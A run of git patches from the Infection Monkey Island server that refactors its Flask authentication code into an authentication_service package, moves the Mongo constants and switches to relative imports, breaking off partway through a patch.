Register auth resources from authentication_service --- monkey/monkey_island/cc/app.py | 16 ++++++---------- monkey/monkey_island/cc/services/__init__.py | 3 +++ .../services/authentication_service/__init__.py | 1 + .../flask_resources/__init__.py | 1 + .../flask_resources/register_resources.py | 13 +++++++++++++ 5 files changed, 24 insertions(+), 10 deletions(-) create mode 100644 monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index c316eb591a6..c9ff8207907 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -40,12 +40,9 @@ from monkey_island.cc.resources.version import Version from monkey_island.cc.server_utils import generate_flask_security_configuration from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH -from monkey_island.cc.services import register_agent_configuration_resources -from monkey_island.cc.services.authentication_service.flask_resources.login import Login -from monkey_island.cc.services.authentication_service.flask_resources.logout import Logout -from monkey_island.cc.services.authentication_service.flask_resources.register import Register -from monkey_island.cc.services.authentication_service.flask_resources.registration_status import ( - RegistrationStatus, +from monkey_island.cc.services import ( + register_agent_configuration_resources, + register_authentication_resources, ) from monkey_island.cc.services.authentication_service.role import Role from monkey_island.cc.services.authentication_service.user import User @@ -192,10 +189,9 @@ def init_api_resources(api: FlaskDIWrapper): def init_restful_endpoints(api: FlaskDIWrapper): api.add_resource(Root) - api.add_resource(Register) - api.add_resource(RegistrationStatus) - api.add_resource(Login) - api.add_resource(Logout) + + register_authentication_resources(api) + api.add_resource(Agents) api.add_resource(LocalRun) diff --git a/monkey/monkey_island/cc/services/__init__.py b/monkey/monkey_island/cc/services/__init__.py index ff2d605b68d..9c54b9ea65c 100644 --- a/monkey/monkey_island/cc/services/__init__.py +++ b/monkey/monkey_island/cc/services/__init__.py @@ -10,3 +10,6 @@ from .agent_configuration_service import ( register_resources as register_agent_configuration_resources, ) # noqa: E501 +from .authentication_service import ( + register_resources as register_authentication_resources, +) # noqa: E501 diff --git a/monkey/monkey_island/cc/services/authentication_service/__init__.py b/monkey/monkey_island/cc/services/authentication_service/__init__.py index 5eb152868be..e665c1c2fa7 100644 --- a/monkey/monkey_island/cc/services/authentication_service/__init__.py +++ b/monkey/monkey_island/cc/services/authentication_service/__init__.py @@ -1 +1,2 @@ from .authentication_service import AuthenticationService +from .flask_resources import register_resources diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/__init__.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/__init__.py index e69de29bb2d..89119d59f1d 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/__init__.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/__init__.py @@ -0,0 +1 @@ +from .register_resources import register_resources diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py new file mode 100644 index 00000000000..6b12b9d82bf --- /dev/null +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py @@ -0,0 +1,13 @@ +from monkey_island.cc.flask_utils import FlaskDIWrapper + +from .login import Login +from .logout import Logout +from .register import Register +from .registration_status import RegistrationStatus + + +def register_resources(api: FlaskDIWrapper): + api.add_resource(Register) + api.add_resource(RegistrationStatus) + api.add_resource(Login) + api.add_resource(Logout) From 989fc198d9f053124603c5501e82948182316ee9 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 9 Mar 2023 12:33:42 +0100 Subject: [PATCH 0538/1338] Island: Add build method to authentication_service --- monkey/monkey_island/cc/services/__init__.py | 1 + .../cc/services/authentication_service/__init__.py | 2 ++ .../cc/services/authentication_service/build.py | 7 +++++++ monkey/monkey_island/cc/services/initialize.py | 3 ++- 4 files changed, 12 insertions(+), 1 deletion(-) create mode 100644 monkey/monkey_island/cc/services/authentication_service/build.py diff --git a/monkey/monkey_island/cc/services/__init__.py b/monkey/monkey_island/cc/services/__init__.py index 9c54b9ea65c..d9954a74313 100644 --- a/monkey/monkey_island/cc/services/__init__.py +++ b/monkey/monkey_island/cc/services/__init__.py @@ -13,3 +13,4 @@ from .authentication_service import ( register_resources as register_authentication_resources, ) # noqa: E501 +from .authentication_service import build as build_authentication_service diff --git a/monkey/monkey_island/cc/services/authentication_service/__init__.py b/monkey/monkey_island/cc/services/authentication_service/__init__.py index e665c1c2fa7..a0089245c48 100644 --- a/monkey/monkey_island/cc/services/authentication_service/__init__.py +++ b/monkey/monkey_island/cc/services/authentication_service/__init__.py @@ -1,2 +1,4 @@ from .authentication_service import AuthenticationService from .flask_resources import register_resources + +from .build import build diff --git a/monkey/monkey_island/cc/services/authentication_service/build.py b/monkey/monkey_island/cc/services/authentication_service/build.py new file mode 100644 index 00000000000..ac267a58eac --- /dev/null +++ b/monkey/monkey_island/cc/services/authentication_service/build.py @@ -0,0 +1,7 @@ +from common import DIContainer + +from .authentication_service import AuthenticationService + + +def build(container: DIContainer) -> AuthenticationService: + return container.resolve(AuthenticationService) diff --git a/monkey/monkey_island/cc/services/initialize.py b/monkey/monkey_island/cc/services/initialize.py index a027dde0f46..3301b96bd6e 100644 --- a/monkey/monkey_island/cc/services/initialize.py +++ b/monkey/monkey_island/cc/services/initialize.py @@ -67,6 +67,7 @@ AWSService, IAgentConfigurationService, build_agent_configuration_service, + build_authentication_service, ) from monkey_island.cc.services.run_local_monkey import LocalMonkeyRunService from monkey_island.cc.setup.mongo.mongo_setup import MONGO_URL @@ -249,7 +250,7 @@ def _log_agent_binary_hashes(agent_binary_repository: IAgentBinaryRepository): def _register_services(container: DIContainer): container.register_instance(AWSService, container.resolve(AWSService)) container.register_instance(LocalMonkeyRunService, container.resolve(LocalMonkeyRunService)) - container.register_instance(AuthenticationService, container.resolve(AuthenticationService)) + container.register_instance(AuthenticationService, build_authentication_service(container)) container.register_instance(AgentSignalsService, container.resolve(AgentSignalsService)) container.register_instance( IAgentConfigurationService, build_agent_configuration_service(container) From 5e89993a61eb7e8733b56b582d43ecc751a044c6 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 9 Mar 2023 16:17:15 +0100 Subject: [PATCH 0539/1338] Island: Move authentication_service.utils to flask_resources --- .../authentication_service/flask_resources/register.py | 5 ++--- .../authentication_service/{ => flask_resources}/utils.py | 0 2 files changed, 2 insertions(+), 3 deletions(-) rename monkey/monkey_island/cc/services/authentication_service/{ => flask_resources}/utils.py (100%) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py index 693dd2dde24..3a2acc5092c 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py @@ -8,9 +8,8 @@ from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.server_utils.response_utils import response_to_invalid_request from monkey_island.cc.services.authentication_service import AuthenticationService -from monkey_island.cc.services.authentication_service.utils import ( - get_username_password_from_request, -) + +from .utils import get_username_password_from_request logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/services/authentication_service/utils.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/utils.py similarity index 100% rename from monkey/monkey_island/cc/services/authentication_service/utils.py rename to monkey/monkey_island/cc/services/authentication_service/flask_resources/utils.py From 8d54b5b390470716a953ee15707568a935cdea4a Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 9 Mar 2023 16:26:47 +0100 Subject: [PATCH 0540/1338] Island: Move generate_flask_security_configuration in authentication_service --- monkey/monkey_island/cc/app.py | 7 ++----- monkey/monkey_island/cc/server_utils/__init__.py | 1 - .../authentication_service/configure_flask_security.py} | 0 3 files changed, 2 insertions(+), 6 deletions(-) rename monkey/monkey_island/cc/{server_utils/setup_flask.py => services/authentication_service/configure_flask_security.py} (100%) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index c9ff8207907..d9598d8e232 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -38,7 +38,6 @@ from monkey_island.cc.resources.root import Root from monkey_island.cc.resources.security_report import SecurityReport from monkey_island.cc.resources.version import Version -from monkey_island.cc.server_utils import generate_flask_security_configuration from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.services import ( register_agent_configuration_resources, @@ -77,13 +76,11 @@ def serve_home(): def setup_authentication(app, data_dir): - flask_security_config = generate_flask_security_configuration(data_dir) - # TODO: After we switch to token base authentication investigate the purpose # of `SECRET_KEY` and `SECURITY_PASSWORD_SALT`, take into consideration # the discussion https://github.com/guardicore/monkey/pull/3006#discussion_r1116944571 - app.config["SECRET_KEY"] = flask_security_config["secret_key"] - app.config["SECURITY_PASSWORD_SALT"] = flask_security_config["password_salt"] + # app.config["SECRET_KEY"] = flask_security_config["secret_key"] + # app.config["SECURITY_PASSWORD_SALT"] = flask_security_config["password_salt"] app.config["SECURITY_LOGIN_URL"] = LOGIN_URL app.config["SECURITY_LOGOUT_URL"] = LOGOUT_URL app.config["SECURITY_REGISTER_URL"] = REGISTER_URL diff --git a/monkey/monkey_island/cc/server_utils/__init__.py b/monkey/monkey_island/cc/server_utils/__init__.py index 9fff4a27a60..e69de29bb2d 100644 --- a/monkey/monkey_island/cc/server_utils/__init__.py +++ b/monkey/monkey_island/cc/server_utils/__init__.py @@ -1 +0,0 @@ -from .setup_flask import generate_flask_security_configuration diff --git a/monkey/monkey_island/cc/server_utils/setup_flask.py b/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py similarity index 100% rename from monkey/monkey_island/cc/server_utils/setup_flask.py rename to monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py From 05d8c267282b85f1c48351025506181844044b56 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 9 Mar 2023 16:28:45 +0100 Subject: [PATCH 0541/1338] Island: Move disable_session_cookies to authnetication_service --- monkey/monkey_island/cc/app.py | 16 +--------------- .../configure_flask_security.py | 15 +++++++++++++++ 2 files changed, 16 insertions(+), 15 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index d9598d8e232..7565838b8aa 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -4,7 +4,6 @@ import flask_restful from flask import Flask, Response, send_from_directory -from flask.sessions import SecureCookieSessionInterface from flask_mongoengine import MongoEngine from flask_security import ConfirmRegisterForm, MongoEngineUserDatastore, Security, UserDatastore from werkzeug.exceptions import NotFound @@ -134,7 +133,7 @@ def to_dict(self, only_user): # This will cause 401 response instead of 301 for unauthorized requests for example app.security._want_json = lambda _request: True - app.session_interface = disable_session_cookies() + # app.session_interface = disable_session_cookies() def _create_roles(user_datastore: UserDatastore): @@ -161,19 +160,6 @@ def init_app_config(app, mongo_url, data_dir: Path): setup_authentication(app, data_dir) -def disable_session_cookies() -> SecureCookieSessionInterface: - class CustomSessionInterface(SecureCookieSessionInterface): - """Prevent creating session from API requests.""" - - def should_set_cookie(self, *args, **kwargs): - return False - - def save_session(self, *args, **kwargs): - return - - return CustomSessionInterface() - - def init_app_url_rules(app): app.add_url_rule("/", "serve_home", serve_home) app.add_url_rule("/", "serve_static_file", serve_static_file) diff --git a/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py b/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py index c2e1e1bf647..4c0cd1e1980 100644 --- a/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py +++ b/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py @@ -3,6 +3,8 @@ from pathlib import Path from typing import Any, Dict +from flask.sessions import SecureCookieSessionInterface + from common.utils.file_utils import open_new_securely_permissioned_file SECRET_FILE_NAME = ".flask_security_configuration.json" @@ -22,3 +24,16 @@ def generate_flask_security_configuration(data_dir: Path) -> Dict[str, Any]: json.dump(security_options, secret_file) return security_options + + +def disable_session_cookies() -> SecureCookieSessionInterface: + class CustomSessionInterface(SecureCookieSessionInterface): + """Prevent creating session from API requests.""" + + def should_set_cookie(self, *args, **kwargs): + return False + + def save_session(self, *args, **kwargs): + return + + return CustomSessionInterface() From a268aab21279bba537bc1a30b6aac1413387fe97 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 9 Mar 2023 16:44:33 +0100 Subject: [PATCH 0542/1338] Island: Move app authentication setup in authentication_service --- monkey/monkey_island/cc/app.py | 92 +------------------ monkey/monkey_island/cc/server_setup.py | 2 +- monkey/monkey_island/cc/services/__init__.py | 1 + .../authentication_service/__init__.py | 1 + .../configure_flask_security.py | 85 +++++++++++++++++ .../flask_resources/login.py | 2 +- 6 files changed, 93 insertions(+), 90 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 7565838b8aa..2088a039d18 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -1,15 +1,11 @@ import os -from datetime import timedelta from pathlib import Path import flask_restful from flask import Flask, Response, send_from_directory -from flask_mongoengine import MongoEngine -from flask_security import ConfirmRegisterForm, MongoEngineUserDatastore, Security, UserDatastore from werkzeug.exceptions import NotFound -from wtforms import StringField, ValidationError -from common import AccountRole, DIContainer +from common import DIContainer from monkey_island.cc.flask_utils import FlaskDIWrapper from monkey_island.cc.resources import ( AgentBinaries, @@ -41,14 +37,11 @@ from monkey_island.cc.services import ( register_agent_configuration_resources, register_authentication_resources, + setup_authentication, ) -from monkey_island.cc.services.authentication_service.role import Role -from monkey_island.cc.services.authentication_service.user import User from monkey_island.cc.services.representations import output_json -from monkey_island.cc.setup.mongo.mongo_setup import MONGO_DB_HOST, MONGO_DB_NAME, MONGO_DB_PORT HOME_FILE = "index.html" -AUTH_EXPIRATION_TIME = 30 * 60 # 30 minutes authentication token expiration time def serve_static_file(static_path): @@ -74,83 +67,7 @@ def serve_home(): return serve_static_file(HOME_FILE) -def setup_authentication(app, data_dir): - # TODO: After we switch to token base authentication investigate the purpose - # of `SECRET_KEY` and `SECURITY_PASSWORD_SALT`, take into consideration - # the discussion https://github.com/guardicore/monkey/pull/3006#discussion_r1116944571 - # app.config["SECRET_KEY"] = flask_security_config["secret_key"] - # app.config["SECURITY_PASSWORD_SALT"] = flask_security_config["password_salt"] - app.config["SECURITY_LOGIN_URL"] = LOGIN_URL - app.config["SECURITY_LOGOUT_URL"] = LOGOUT_URL - app.config["SECURITY_REGISTER_URL"] = REGISTER_URL - app.config["SECURITY_USERNAME_ENABLE"] = True - app.config["SECURITY_USERNAME_REQUIRED"] = True - app.config["SECURITY_REGISTERABLE"] = True - app.config["SECURITY_SEND_REGISTER_EMAIL"] = False - - app.config["SECURITY_TOKEN_MAX_AGE"] = AUTH_EXPIRATION_TIME - # Ignore CSRF, because it's irrelevant for javascript applications - app.config["WTF_CSRF_CHECK_DEFAULT"] = False - app.config["SECURITY_CSRF_IGNORE_UNAUTH_ENDPOINTS"] = True - # Forbid sending authentication token in URL parameters - app.config["SECURITY_TOKEN_AUTHENTICATION_KEY"] = None - # Setting this to a negative value disables freshness checking and "verify" - # endpoints. We don't need them. - # https://flask-security-too.readthedocs.io/en/stable/configuration.html#SECURITY_FRESHNESS - app.config["SECURITY_FRESHNESS"] = timedelta(-1) - - # The database object needs to be created after we configure the flask application - db = MongoEngine(app) - user_datastore = MongoEngineUserDatastore(db, User, Role) - - _create_roles(user_datastore) - - # Only one user can be registered in the Island, so we need a custom validator - def validate_no_user_exists_already(_, field): - if user_datastore.find_user(): - raise ValidationError("A user already exists. Only a single user can be registered.") - - class CustomConfirmRegisterForm(ConfirmRegisterForm): - # We don't use the email, but the field is required by ConfirmRegisterForm. - # Email validators need to be overriden, otherwise an error about invalid email is raised. - # Added custom validator to the email field because we have to override - # email validators anyway. - email = StringField( - "Email", default="dummy@dummy.com", validators=[validate_no_user_exists_already] - ) - - def to_dict(self, only_user): - registration_dict = super().to_dict(only_user) - registration_dict.update({"roles": [AccountRole.ISLAND_INTERFACE.name]}) - return registration_dict - - app.security = Security( - app, - user_datastore, - confirm_register_form=CustomConfirmRegisterForm, - ) - # Force Security to always respond as an API rather than HTTP server - # This will cause 401 response instead of 301 for unauthorized requests for example - app.security._want_json = lambda _request: True - - # app.session_interface = disable_session_cookies() - - -def _create_roles(user_datastore: UserDatastore): - user_datastore.find_or_create_role(name=AccountRole.ISLAND_INTERFACE.name) - user_datastore.find_or_create_role(name=AccountRole.AGENT.name) - - -def init_app_config(app, mongo_url, data_dir: Path): - app.config["MONGO_URI"] = mongo_url - app.config["MONGODB_SETTINGS"] = [ - { - "db": MONGO_DB_NAME, - "host": MONGO_DB_HOST, - "port": MONGO_DB_PORT, - } - ] - +def init_app_config(app, data_dir: Path): # By default, Flask sorts keys of JSON objects alphabetically. # See https://flask.palletsprojects.com/en/1.1.x/config/#JSON_SORT_KEYS. app.config["JSON_SORT_KEYS"] = False @@ -214,7 +131,6 @@ def init_rpc_endpoints(api: FlaskDIWrapper): def init_app( - mongo_url: str, container: DIContainer, data_dir: Path, ): @@ -229,7 +145,7 @@ def init_app( api = flask_restful.Api(app) api.representations = {"application/json": output_json} - init_app_config(app, mongo_url, data_dir) + init_app_config(app, data_dir) init_app_url_rules(app) flask_resource_manager = FlaskDIWrapper(api, container) diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py index 9c022b97557..26b6a20a1db 100644 --- a/monkey/monkey_island/cc/server_setup.py +++ b/monkey/monkey_island/cc/server_setup.py @@ -178,7 +178,7 @@ def _start_island_server( ): _configure_gevent_exception_handling(config_options.data_dir) - app = init_app(mongo_setup.MONGO_URL, container, config_options.data_dir) + app = init_app(container, config_options.data_dir) if should_setup_only: logger.warning("Setup only flag passed. Exiting.") diff --git a/monkey/monkey_island/cc/services/__init__.py b/monkey/monkey_island/cc/services/__init__.py index d9954a74313..9a7f0cb2db0 100644 --- a/monkey/monkey_island/cc/services/__init__.py +++ b/monkey/monkey_island/cc/services/__init__.py @@ -14,3 +14,4 @@ register_resources as register_authentication_resources, ) # noqa: E501 from .authentication_service import build as build_authentication_service +from .authentication_service import setup_authentication diff --git a/monkey/monkey_island/cc/services/authentication_service/__init__.py b/monkey/monkey_island/cc/services/authentication_service/__init__.py index a0089245c48..184770fd614 100644 --- a/monkey/monkey_island/cc/services/authentication_service/__init__.py +++ b/monkey/monkey_island/cc/services/authentication_service/__init__.py @@ -2,3 +2,4 @@ from .flask_resources import register_resources from .build import build +from .configure_flask_security import setup_authentication diff --git a/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py b/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py index 4c0cd1e1980..052e1cfd757 100644 --- a/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py +++ b/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py @@ -1,13 +1,93 @@ import json import secrets +from datetime import timedelta from pathlib import Path from typing import Any, Dict from flask.sessions import SecureCookieSessionInterface +from flask_mongoengine import MongoEngine +from flask_security import ConfirmRegisterForm, MongoEngineUserDatastore, Security, UserDatastore +from wtforms import StringField, ValidationError +from common import AccountRole from common.utils.file_utils import open_new_securely_permissioned_file +from monkey_island.cc.services.authentication_service.role import Role +from monkey_island.cc.services.authentication_service.user import User +from monkey_island.cc.setup.mongo.mongo_setup import ( + MONGO_DB_HOST, + MONGO_DB_NAME, + MONGO_DB_PORT, + MONGO_URL, +) SECRET_FILE_NAME = ".flask_security_configuration.json" +AUTH_EXPIRATION_TIME = 30 * 60 # 30 minutes authentication token expiration time + + +def setup_authentication(app, data_dir): + app.config["MONGO_URI"] = MONGO_URL + app.config["MONGODB_SETTINGS"] = [ + { + "db": MONGO_DB_NAME, + "host": MONGO_DB_HOST, + "port": MONGO_DB_PORT, + } + ] + + flask_security_config = generate_flask_security_configuration(data_dir) + app.config["SECRET_KEY"] = flask_security_config["secret_key"] + app.config["SECURITY_PASSWORD_SALT"] = flask_security_config["password_salt"] + app.config["SECURITY_USERNAME_ENABLE"] = True + app.config["SECURITY_USERNAME_REQUIRED"] = True + app.config["SECURITY_REGISTERABLE"] = True + app.config["SECURITY_SEND_REGISTER_EMAIL"] = False + + app.config["SECURITY_TOKEN_MAX_AGE"] = AUTH_EXPIRATION_TIME + # Ignore CSRF, because it's irrelevant for javascript applications + app.config["WTF_CSRF_CHECK_DEFAULT"] = False + app.config["SECURITY_CSRF_IGNORE_UNAUTH_ENDPOINTS"] = True + # Forbid sending authentication token in URL parameters + app.config["SECURITY_TOKEN_AUTHENTICATION_KEY"] = None + # Setting this to a negative value disables freshness checking and "verify" + # endpoints. We don't need them. + # https://flask-security-too.readthedocs.io/en/stable/configuration.html#SECURITY_FRESHNESS + app.config["SECURITY_FRESHNESS"] = timedelta(-1) + + # The database object needs to be created after we configure the flask application + db = MongoEngine(app) + user_datastore = MongoEngineUserDatastore(db, User, Role) + + _create_roles(user_datastore) + + # Only one user can be registered in the Island, so we need a custom validator + def validate_no_user_exists_already(_, field): + if user_datastore.find_user(): + raise ValidationError("A user already exists. Only a single user can be registered.") + + class CustomConfirmRegisterForm(ConfirmRegisterForm): + # We don't use the email, but the field is required by ConfirmRegisterForm. + # Email validators need to be overriden, otherwise an error about invalid email is raised. + # Added custom validator to the email field because we have to override + # email validators anyway. + email = StringField( + "Email", default="dummy@dummy.com", validators=[validate_no_user_exists_already] + ) + + def to_dict(self, only_user): + registration_dict = super().to_dict(only_user) + registration_dict.update({"roles": [AccountRole.ISLAND_INTERFACE.name]}) + return registration_dict + + app.security = Security( + app, + user_datastore, + confirm_register_form=CustomConfirmRegisterForm, + ) + # Force Security to always respond as an API rather than HTTP server + # This will cause 401 response instead of 301 for unauthorized requests for example + app.security._want_json = lambda _request: True + + app.session_interface = disable_session_cookies() def generate_flask_security_configuration(data_dir: Path) -> Dict[str, Any]: @@ -26,6 +106,11 @@ def generate_flask_security_configuration(data_dir: Path) -> Dict[str, Any]: return security_options +def _create_roles(user_datastore: UserDatastore): + user_datastore.find_or_create_role(name=AccountRole.ISLAND_INTERFACE.name) + user_datastore.find_or_create_role(name=AccountRole.AGENT.name) + + def disable_session_cookies() -> SecureCookieSessionInterface: class CustomSessionInterface(SecureCookieSessionInterface): """Prevent creating session from API requests.""" diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py index 085eacad78f..7402d9eb776 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py @@ -8,7 +8,7 @@ from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.server_utils.response_utils import response_to_invalid_request from monkey_island.cc.services.authentication_service import AuthenticationService -from monkey_island.cc.services.authentication_service.utils import ( +from monkey_island.cc.services.authentication_service.flask_resources.utils import ( get_username_password_from_request, ) From 258ce38f69f5afdcdf43844bf9456c12f1671bf9 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 9 Mar 2023 16:57:23 +0100 Subject: [PATCH 0543/1338] Island: Use relative imports in authentication_service --- .../authentication_service/configure_flask_security.py | 5 +++-- .../authentication_service/flask_resources/login.py | 7 +++---- .../authentication_service/flask_resources/logout.py | 3 ++- .../authentication_service/flask_resources/register.py | 2 +- .../flask_resources/registration_status.py | 3 ++- 5 files changed, 11 insertions(+), 9 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py b/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py index 052e1cfd757..4ebda0184d0 100644 --- a/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py +++ b/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py @@ -11,8 +11,6 @@ from common import AccountRole from common.utils.file_utils import open_new_securely_permissioned_file -from monkey_island.cc.services.authentication_service.role import Role -from monkey_island.cc.services.authentication_service.user import User from monkey_island.cc.setup.mongo.mongo_setup import ( MONGO_DB_HOST, MONGO_DB_NAME, @@ -20,6 +18,9 @@ MONGO_URL, ) +from .role import Role +from .user import User + SECRET_FILE_NAME = ".flask_security_configuration.json" AUTH_EXPIRATION_TIME = 30 * 60 # 30 minutes authentication token expiration time diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py index 7402d9eb776..9179c13eac7 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py @@ -7,10 +7,9 @@ from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.server_utils.response_utils import response_to_invalid_request -from monkey_island.cc.services.authentication_service import AuthenticationService -from monkey_island.cc.services.authentication_service.flask_resources.utils import ( - get_username_password_from_request, -) + +from ..authentication_service import AuthenticationService +from .utils import get_username_password_from_request logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/logout.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/logout.py index 83bc66e9a1f..e45ee0fe619 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/logout.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/logout.py @@ -7,7 +7,8 @@ from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.server_utils.response_utils import response_to_invalid_request -from monkey_island.cc.services.authentication_service import AuthenticationService + +from ..authentication_service import AuthenticationService logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py index 3a2acc5092c..982b6f78011 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py @@ -7,8 +7,8 @@ from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.server_utils.response_utils import response_to_invalid_request -from monkey_island.cc.services.authentication_service import AuthenticationService +from ..authentication_service import AuthenticationService from .utils import get_username_password_from_request logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/registration_status.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/registration_status.py index 08dd47f1987..46a3bfc452d 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/registration_status.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/registration_status.py @@ -1,5 +1,6 @@ from monkey_island.cc.flask_utils import AbstractResource -from monkey_island.cc.services.authentication_service import AuthenticationService + +from ..authentication_service import AuthenticationService class RegistrationStatus(AbstractResource): From fbfda1a055e61412c90f28017dd4afebce063a67 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 9 Mar 2023 17:11:04 +0100 Subject: [PATCH 0544/1338] Island: Add mongo_consts to monkey_island.cc --- monkey/monkey_island/cc/mongo_consts.py | 9 +++++++++ .../authentication_service/configure_flask_security.py | 7 +------ monkey/monkey_island/cc/setup/mongo/mongo_setup.py | 9 ++------- 3 files changed, 12 insertions(+), 13 deletions(-) create mode 100644 monkey/monkey_island/cc/mongo_consts.py diff --git a/monkey/monkey_island/cc/mongo_consts.py b/monkey/monkey_island/cc/mongo_consts.py new file mode 100644 index 00000000000..044040a9254 --- /dev/null +++ b/monkey/monkey_island/cc/mongo_consts.py @@ -0,0 +1,9 @@ +import os + +MONGO_DB_NAME = "monkey_island" +MONGO_DB_HOST = "localhost" +MONGO_DB_PORT = 27017 +MONGO_URL = os.environ.get( + "MONKEY_MONGO_URL", + "mongodb://{0}:{1}/{2}".format(MONGO_DB_HOST, MONGO_DB_PORT, MONGO_DB_NAME), +) diff --git a/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py b/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py index 4ebda0184d0..4484bea0947 100644 --- a/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py +++ b/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py @@ -11,12 +11,7 @@ from common import AccountRole from common.utils.file_utils import open_new_securely_permissioned_file -from monkey_island.cc.setup.mongo.mongo_setup import ( - MONGO_DB_HOST, - MONGO_DB_NAME, - MONGO_DB_PORT, - MONGO_URL, -) +from monkey_island.cc.mongo_consts import MONGO_DB_HOST, MONGO_DB_NAME, MONGO_DB_PORT, MONGO_URL from .role import Role from .user import User diff --git a/monkey/monkey_island/cc/setup/mongo/mongo_setup.py b/monkey/monkey_island/cc/setup/mongo/mongo_setup.py index cdcbc666089..475e4c22351 100644 --- a/monkey/monkey_island/cc/setup/mongo/mongo_setup.py +++ b/monkey/monkey_island/cc/setup/mongo/mongo_setup.py @@ -8,17 +8,12 @@ from pymongo.errors import ServerSelectionTimeoutError from common.utils.file_utils import create_secure_directory +from monkey_island.cc.mongo_consts import MONGO_URL from monkey_island.cc.setup.mongo.mongo_db_process import MongoDbProcess DB_DIR_NAME = "db" MONGO_LOG_FILENAME = "mongodb.log" -MONGO_DB_NAME = "monkey_island" -MONGO_DB_HOST = "localhost" -MONGO_DB_PORT = 27017 -MONGO_URL = os.environ.get( - "MONKEY_MONGO_URL", - "mongodb://{0}:{1}/{2}".format(MONGO_DB_HOST, MONGO_DB_PORT, MONGO_DB_NAME), -) + MINIMUM_MONGO_DB_VERSION_REQUIRED = "4.2.0" logger = logging.getLogger(__name__) From 8a885c50ed8bd99e8afc95256ba83203b3abd20f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 9 Mar 2023 11:17:25 -0500 Subject: [PATCH 0545/1338] Island: Move AccountRole into authentication_service/ --- monkey/common/__init__.py | 1 - monkey/monkey_island/cc/resources/agent_logs.py | 2 +- 